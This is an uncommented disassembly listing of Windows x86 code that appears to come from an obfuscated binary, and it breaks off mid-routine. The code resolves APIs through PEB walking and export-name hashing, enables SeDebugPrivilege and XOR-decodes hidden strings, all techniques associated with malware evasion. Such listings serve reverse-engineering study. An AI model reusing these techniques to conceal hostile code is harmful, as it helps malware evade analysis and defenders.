mov dword [ebp - 0x264], 0xaf7ac534
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2b4], ecx
mov dword [ebp - 0x268], 0x241cb29e
mov dword [ebp - 0x264], 0xd086ccdd
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 0x268], 0x51264443
mov dword [ebp - 0x264], 0x165cf34c
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2a4], ecx
mov dword [ebp - 0x268], 0x2bb66e85
mov dword [ebp - 0x264], 0x679510d5
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x268], 0x98beb99e
mov dword [ebp - 0x264], 0xaf16a950
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x268], 0x470dedf
mov dword [ebp - 0x264], 0xb5eaa59b
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x268], 0x7f0c4430
mov dword [ebp - 0x264], 0x165cf366
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
movaps xmm1, xmmword [ebp - 0x2c0]
xorps xmm1, xmmword [ebp - 0x40]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x2c0]
movaps xmmword [ebp - 0x2c0], xmm1
movaps xmm1, xmmword [ebp - 0x2b0]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
mov dword [ebp - 0x394], eax
lea eax, [ebp - 0x3a0]
movaps xmmword [ebp - 0x2b0], xmm1
mov dword [ebp - 0x388], 1
mov dword [ebp - 0x36c], 0x1800
push eax
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameA]
xorps xmm0, xmm0
movups xmmword [ebp - 0x2b8], xmm0
test eax, eax
je 0x43b704
lea ecx, [ebp - 0x168]
mov dword [ebp - 0x2a8], 0
mov dword [ebp - 0x2a4], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43b6e0
sub ecx, edx
lea eax, [ebp - 0x168]
push ecx
push eax
lea ecx, [ebp - 0x2b8]
call fcn.0040e0d0
mov eax, dword [ebp - 0x2a8]
jmp 0x43b71c
xor eax, eax
mov dword [ebp - 0x2a4], 0xf
mov dword [ebp - 0x2a8], eax
mov byte [ebp - 0x2b8], al
mov byte [ebp - 4], 0xf
test eax, eax
je 0x43dd40
mov eax, dword fs:[0x30]
xorps xmm0, xmm0
movups xmmword [ebp - 0x2f8], xmm0
mov dword [ebp - 0x33c], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x274], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x3a8], ecx
cmp ecx, esi
je 0x43b7ca
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43b7ca
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x3a4], ecx
dec edi
mov esi, 0xfb6e3b31
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43b7bd
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x43b7a0
cmp esi, 0x1fd608c1
je 0x43b7ce
mov ecx, dword [ebp - 0x3a4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x43b780
mov eax, dword [eax]
jmp 0x43b750
mov eax, dword [ebp - 0x3a8]
mov edx, dword [ebp - 0x274]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea ecx, [ebp - 0x33c]
push ecx
push 0x28
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x43b905
lea eax, [ebp - 0x2f4]
mov dword [ebp - 0x2f8], 1
push eax
push str.SeDebugPrivilege
push 0
mov dword [ebp - 0x2ec], 2
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x43b84e
push 0
push 0
push 0
lea eax, [ebp - 0x2f8]
push eax
push 0
push dword [ebp - 0x33c]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3a4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x3a8], ecx
cmp ecx, esi
je 0x43b8da
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43b8da
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x274], ecx
dec edi
mov esi, 0x66a5a83a
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43b8cd
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x43b8b0
cmp esi, 0xbf09e6e0
je 0x43b8de
mov ecx, dword [ebp - 0x274]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x43b890
mov eax, dword [eax]
jmp 0x43b860
mov eax, dword [ebp - 0x3a8]
mov edx, dword [ebp - 0x3a4]
push dword [ebp - 0x33c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword [0x4b09b4]
xor esi, esi
movups xmm0, xmmword [0x4b09a4]
mov dword [ebp - 0x3b8], eax
mov ax, word [0x4b09b8]
movups xmmword [ebp - 0x3c8], xmm0
mov word [ebp - 0x3b4], ax
nop dword [eax]
mov eax, 0x3521cfb3
mov ecx, esi
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
imul eax, eax, 0x35
sub ecx, eax
add ecx, 0x37
xor word [ebp + esi*2 - 0x3c8], cx
inc esi
cmp esi, 0xb
jl 0x43b930
lea ecx, [ebp - 0x3c8]
call fcn.004308c0
test al, al
jne 0x43bb4d
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3a4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x3a8], ecx
cmp ecx, esi
je 0x43b9fa
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43b9fa
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x274], ecx
dec edi
mov esi, 0x961a1b9f
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43b9ed
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x43b9d0
cmp esi, 0xc50c5193
je 0x43b9fe
mov ecx, dword [ebp - 0x274]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x43b9b0
mov eax, dword [eax]
jmp 0x43b980
mov esi, dword [ebp - 0x3a8]
mov edx, dword [ebp - 0x3a4]
push dword [ebp - 0x33c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [str.GYLI_]
mov dword [ebp - 0x264], eax
mov ax, word [0x4b0820]
mov word [ebp - 0x260], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3a4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x3a8], ecx
cmp ecx, esi
je 0x43baca
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43baca
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x274], ecx
dec edi
mov esi, 0x9b38b263
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43babd
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x43baa0
cmp esi, 0xba7a51ea
je 0x43bace
mov ecx, dword [ebp - 0x274]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x43ba80
mov eax, dword [eax]
jmp 0x43ba50
mov esi, dword [ebp - 0x3a8]
mov edx, dword [ebp - 0x3a4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x3a4], edx
nop word [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x3a4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x3a4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x264], cl
inc edx
mov dword [ebp - 0x3a4], edx
cmp edx, 6
jl 0x43bb00
lea eax, [ebp - 0x264]
push eax
call esi
add esp, 4
jmp 0x43d5ba
movups xmm0, xmmword [str.qYPHKPGt]
mov edi, dword [0x5067b8]
xor esi, esi
movups xmmword [ebp - 0x298], xmm0
movq xmm0, qword [0x4b099c]
movq qword [ebp - 0x288], xmm0
cmp edi, 2
jl 0x43bc60
movaps xmm1, xmmword [0x4b0c70]
mov eax, str.qYPHKPGt
movaps xmm4, xmmword [0x4b0ed0]
movaps xmm2, xmm1
punpckldq xmm2, xmm1
movaps xmm0, xmm1
punpckhdq xmm0, xmm1
mov esi, 8
pmuldq xmm0, xmm4
pmuldq xmm2, xmm4
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movaps xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
movaps xmm2, xmmword [0x4b0c80]
pmulld xmm0, xmmword [0x4b0c90]
psubd xmm1, xmm0
pshufhw xmm0, xmm1, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
paddw xmm1, xmmword [str.77777777]
movq xmm0, qword [eax]
xorps xmm1, xmm0
movaps xmm0, xmm2
movq qword [ebp - 0x298], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4b0c90]
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [ebp - 0x290]
paddw xmm1, xmmword [str.77777777]
xorps xmm1, xmm0
movq qword [ebp - 0x290], xmm1
nop
mov eax, 0x4d4873ed
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x35
sub ecx, eax
add ecx, 0x37
xor word [ebp + esi*2 - 0x298], cx
inc esi
cmp esi, 0xc
jl 0x43bc60
lea ecx, [ebp - 0x298]
call fcn.004308c0
test al, al
jne 0x43be7d
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3a4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x3a8], ecx
cmp ecx, esi
je 0x43bd2a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43bd2a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x274], ecx
dec edi
mov esi, 0x8390b6ba
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43bd1d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x43bd00
cmp esi, 0x50b31660
je 0x43bd2e
mov ecx, dword [ebp - 0x274]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x43bce0
mov eax, dword [eax]
jmp 0x43bcb0
mov esi, dword [ebp - 0x3a8]
mov edx, dword [ebp - 0x3a4]
push dword [ebp - 0x33c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [str.GYLI_]
mov dword [ebp - 0x264], eax
mov ax, word [0x4b0820]
mov word [ebp - 0x260], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3a4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x3a8], ecx
cmp ecx, esi
je 0x43bdfa
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43bdfa
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x274], ecx
dec edi
mov esi, 0xba4d6d2c
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43bded
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x43bdd0
cmp esi, 0xaaf1de25
je 0x43bdfe
mov ecx, dword [ebp - 0x274]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x43bdb0
mov eax, dword [eax]
jmp 0x43bd80
mov esi, dword [ebp - 0x3a8]
mov edx, dword [ebp - 0x3a4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x3a4], edx
nop word [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x3a4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x3a4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x264], cl
inc edx
mov dword [ebp - 0x3a4], edx
cmp edx, 6
jl 0x43be30
lea eax, [ebp - 0x264]
push eax
call esi
add esp, 4
jmp 0x43d5ba
movups xmm0, xmmword [0x4b0b94]
xor esi, esi
movups xmmword [ebp - 0x298], xmm0
movq xmm0, qword [0x4b0ba4]
movq qword [ebp - 0x288], xmm0
cmp edi, 2
jl 0x43bf90
movaps xmm1, xmmword [0x4b0c70]
mov eax, 0x4b0b94
movaps xmm4, xmmword [0x4b0ed0]
movaps xmm2, xmm1
punpckldq xmm2, xmm1
movaps xmm0, xmm1
punpckhdq xmm0, xmm1
mov esi, 8
pmuldq xmm0, xmm4
movaps xmm3, xmmword [str.77777777]
pmuldq xmm2, xmm4
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movaps xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
movaps xmm2, xmmword [0x4b0c80]
pmulld xmm0, xmmword [0x4b0c90]
psubd xmm1, xmm0
pshufhw xmm0, xmm1, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm3
paddw xmm1, xmm0
movq xmm0, qword [eax]
xorps xmm1, xmm0
movaps xmm0, xmm2
movq qword [ebp - 0x298], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4b0c90]
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm3
paddw xmm1, xmm0
movq xmm0, qword [ebp - 0x290]
xorps xmm1, xmm0
movq qword [ebp - 0x290], xmm1
mov eax, 0x4d4873ed
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x35
sub ecx, eax
add ecx, 0x37
xor word [ebp + esi*2 - 0x298], cx
inc esi
cmp esi, 0xc
jl 0x43bf90
lea ecx, [ebp - 0x298]
call fcn.004308c0
test al, al
jne 0x43c1ad
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3a4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x3a8], ecx
cmp ecx, esi
je 0x43c05a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43c05a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x274], ecx
dec edi
mov esi, 0x748177e9
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43c04d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x43c030
cmp esi, 0x14afc369
je 0x43c05e
mov ecx, dword [ebp - 0x274]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x43c010
mov eax, dword [eax]
jmp 0x43bfe0
mov esi, dword [ebp - 0x3a8]
mov edx, dword [ebp - 0x3a4]
push dword [ebp - 0x33c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [str.GYLI_]
mov dword [ebp - 0x264], eax
mov ax, word [0x4b0820]
mov word [ebp - 0x260], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3a4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x3a8], ecx
cmp ecx, esi
je 0x43c12a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43c12a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x274], ecx
dec edi
mov esi, 0x78bdc2f5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43c11d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x43c100
cmp esi, 0x51afb8cc
je 0x43c12e
mov ecx, dword [ebp - 0x274]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x43c0e0
mov eax, dword [eax]
jmp 0x43c0b0
mov esi, dword [ebp - 0x3a8]
mov edx, dword [ebp - 0x3a4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x3a4], edx
nop word [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x3a4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x3a4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x264], cl
inc edx
mov dword [ebp - 0x3a4], edx
cmp edx, 6
jl 0x43c160
lea eax, [ebp - 0x264]
push eax
call esi
add esp, 4
jmp 0x43d5ba
movups xmm0, xmmword [0x4b0bac]
xor esi, esi
movups xmmword [ebp - 0x298], xmm0
movq xmm0, qword [0x4b0bbc]
movq qword [ebp - 0x288], xmm0
cmp edi, 2
jl 0x43c2c0
movaps xmm1, xmmword [0x4b0c70]
mov eax, 0x4b0bac
movaps xmm4, xmmword [0x4b0ed0]
movaps xmm2, xmm1
punpckldq xmm2, xmm1
movaps xmm0, xmm1
punpckhdq xmm0, xmm1
mov esi, 8
pmuldq xmm0, xmm4
movaps xmm3, xmmword [str.77777777]
pmuldq xmm2, xmm4
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movaps xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
movaps xmm2, xmmword [0x4b0c80]
pmulld xmm0, xmmword [0x4b0c90]
psubd xmm1, xmm0
pshufhw xmm0, xmm1, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm3
paddw xmm1, xmm0
movq xmm0, qword [eax]
xorps xmm1, xmm0
movaps xmm0, xmm2
movq qword [ebp - 0x298], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4b0c90]
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm3
paddw xmm1, xmm0
movq xmm0, qword [ebp - 0x290]
xorps xmm1, xmm0
movq qword [ebp - 0x290], xmm1
mov eax, 0x4d4873ed
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x35
sub ecx, eax
add ecx, 0x37
xor word [ebp + esi*2 - 0x298], cx
inc esi
cmp esi, 0xc
jl 0x43c2c0
lea ecx, [ebp - 0x298]
call fcn.004308c0
test al, al
jne 0x43c4dd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3a4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x3a8], ecx
cmp ecx, esi
je 0x43c38a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43c38a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x274], ecx
dec edi
mov esi, 0x3852527c
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43c37d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x43c360
cmp esi, 0x11418886
je 0x43c38e
mov ecx, dword [ebp - 0x274]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x43c340
mov eax, dword [eax]
jmp 0x43c310
mov esi, dword [ebp - 0x3a8]
mov edx, dword [ebp - 0x3a4]
push dword [ebp - 0x33c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [str.GYLI_]
mov dword [ebp - 0x264], eax
mov ax, word [0x4b0820]
mov word [ebp - 0x260], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3a4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x3a8], ecx
cmp ecx, esi
je 0x43c45a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43c45a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x274], ecx
dec edi
mov esi, 0x797a8816
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43c44d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x43c430
cmp esi, 0xe1adfb57
je 0x43c45e
mov ecx, dword [ebp - 0x274]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x43c410
mov eax, dword [eax]
jmp 0x43c3e0
mov esi, dword [ebp - 0x3a8]
mov edx, dword [ebp - 0x3a4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x3a4], edx
nop word [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x3a4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x3a4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x264], cl
inc edx
mov dword [ebp - 0x3a4], edx
cmp edx, 6
jl 0x43c490
lea eax, [ebp - 0x264]
push eax
call esi
add esp, 4
jmp 0x43d5ba
push 0x506bc8
lea ecx, [ebp - 0x3c8]
call fcn.0040d3d0
push 0x506be0
lea ecx, [ebp - 0x298]
mov byte [ebp - 4], 0x10
call fcn.0040d3d0
lea edx, [ebp - 0x3c8]
lea ecx, [ebp - 0x298]
call fcn.0041fef0
mov ecx, dword [ebp - 0x284]
mov byte [ebp - 0x3d1], al
cmp ecx, 0xf
jbe 0x43c552
mov edx, dword [ebp - 0x298]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43c548
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c7fb
push ecx
push edx
call fcn.004431bb
add esp, 8
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x3b4]
mov dword [ebp - 0x288], 0
mov dword [ebp - 0x284], 0xf
mov byte [ebp - 0x298], 0
cmp ecx, 0xf
jbe 0x43c5ab
mov edx, dword [ebp - 0x3c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43c5a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43c7fb
push ecx
push edx
call fcn.004431bb
add esp, 8
cmp byte [ebp - 0x3d1], 0
mov dword [ebp - 0x3b8], 0
mov dword [ebp - 0x3b4], 0xf
mov byte [ebp - 0x3c8], 0
jne 0x43c9ed
movups xmm0, xmmword [0x4b0924]
mov eax, dword [0x4b0944]
xor edx, edx
mov dword [ebp - 0x3e8], eax
mov ax, word [0x4b0948]
mov word [ebp - 0x3e4], ax
mov dword [ebp - 0x3a4], edx
movups xmmword [ebp - 0x408], xmm0
movups xmm0, xmmword [0x4b0934]
movups xmmword [ebp - 0x3f8], xmm0
cmp edi, 2
jl 0x43c740
movaps xmm0, xmmword [0x4b0e50]
lea eax, [edx + 4]
movaps xmm3, xmmword [0x4b0ed0]
movaps xmm4, xmmword [0x4b0c70]
movaps xmm5, xmmword [0x4b0c90]
movaps xmm6, xmmword [0x4b0d40]
movaps xmmword [ebp - 0x280], xmm0
mov ecx, dword [ebp - 0x280]
nop dword [eax + eax]
movd xmm0, edx
add edx, 8
